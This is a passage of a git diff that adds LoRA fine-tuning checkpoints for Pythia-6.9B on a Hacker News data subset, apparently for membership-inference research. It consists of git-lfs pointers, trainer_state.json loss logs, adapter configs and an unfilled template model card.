"task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..278f760adbe43229bb87b68ced725aa359bb6579 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a3d54618c67e4319b0fdafbf7b7f4a977553fc8b4ed0f5075a8f7b167b3370d5 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..76a9473b687c55cb53f495d5abe669b4a04b265f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3764f165e65dc40fb724bfaf69b9960e9754df277563ee0106d79426fea3bdd2 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..c13cd397e2cbe97d2fb9e944d382c58418c6b136 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:964f6178720317ac51eb375c889b2d86c7184aa024caf52b59339853ffae03ca +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..98392616735ef4e842735f8fdb0443dd62c47cc3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3f8316c64c3f1dcba9f5f78f5461a5450278d6310afba0a2471aa470b51e14fa +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..6da83b7797888c6dfd94035f8081f0f648816c04 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/trainer_state.json @@ -0,0 +1,288 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.2666666666666666, + "eval_steps": 10, + "global_step": 170, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.78563223764992e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-170/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..f9e669695846144c51dff643bf404cfd19307085 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:29e9fff43ff2ff4fc3fdec3fdfe69763565e2669ea3adba1f9a5d86908f5284e +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..1054be5db6ef60123b5705a6a9c980da04c8db9c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8c22ef8da419755c454fa1aba12185e30b4a2697d3f6b7ab6c235dcdc7dc39a8 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..fdca3aeb31ce5b4aeb2c0f2ba53e3e43b6334331 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1b79baa0842c2916b082cba36f9f2b958210e6d7c1813742841fb908cae57fbd +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..4c07d6d39c8000e4887811925b35913c0d0fb9e7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c5c510c48cbd7d4a31b049b9ce577d9a61337bf5b3120da8df24159e22a5b61b +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..9a409c8fba0fd505af12af9c67773c3b7d4e0f55 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/trainer_state.json @@ -0,0 +1,303 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.4, + "eval_steps": 10, + "global_step": 180, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.94949295751168e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-180/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. 